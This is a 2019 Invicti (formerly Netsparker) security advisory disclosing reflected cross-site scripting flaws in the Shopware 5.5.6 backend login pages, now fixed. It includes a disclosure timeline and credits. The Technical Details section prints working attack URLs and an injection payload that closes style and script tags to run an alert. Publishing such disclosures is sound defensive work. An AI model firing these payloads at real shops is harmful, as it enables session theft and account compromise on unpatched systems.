Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Cross-site Scripting Vulnerabilities in Shopware
Affected Software: Shopware
Affected Versions: 5.5.6
Homepage: https://en.shopware.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-19-004

Technical Details
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URL : http://{DOMAIN}/{PATH-OF-SHOPWARE}/backend/Login?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Type : Query String
Parameter Name : Query Based
Attack Pattern : '"--></style></scRipt><scRipt>alert(“test”)</scRipt>

URL : http://{DOMAIN}/{PATH-OF-SHOPWARE}/backend/Login/load/?'"--></style></scRipt><scRipt>alert(“test”)</scRipt>
Parameter Type : Query String
Parameter Name : Query Based
Attack Pattern : '"--></style></scRipt><scRipt>alert(“test”)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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26th February 2019 - First Contact
8th April 2019 - Vendor Fixed
31st May 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Umran Yildirimkaya while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.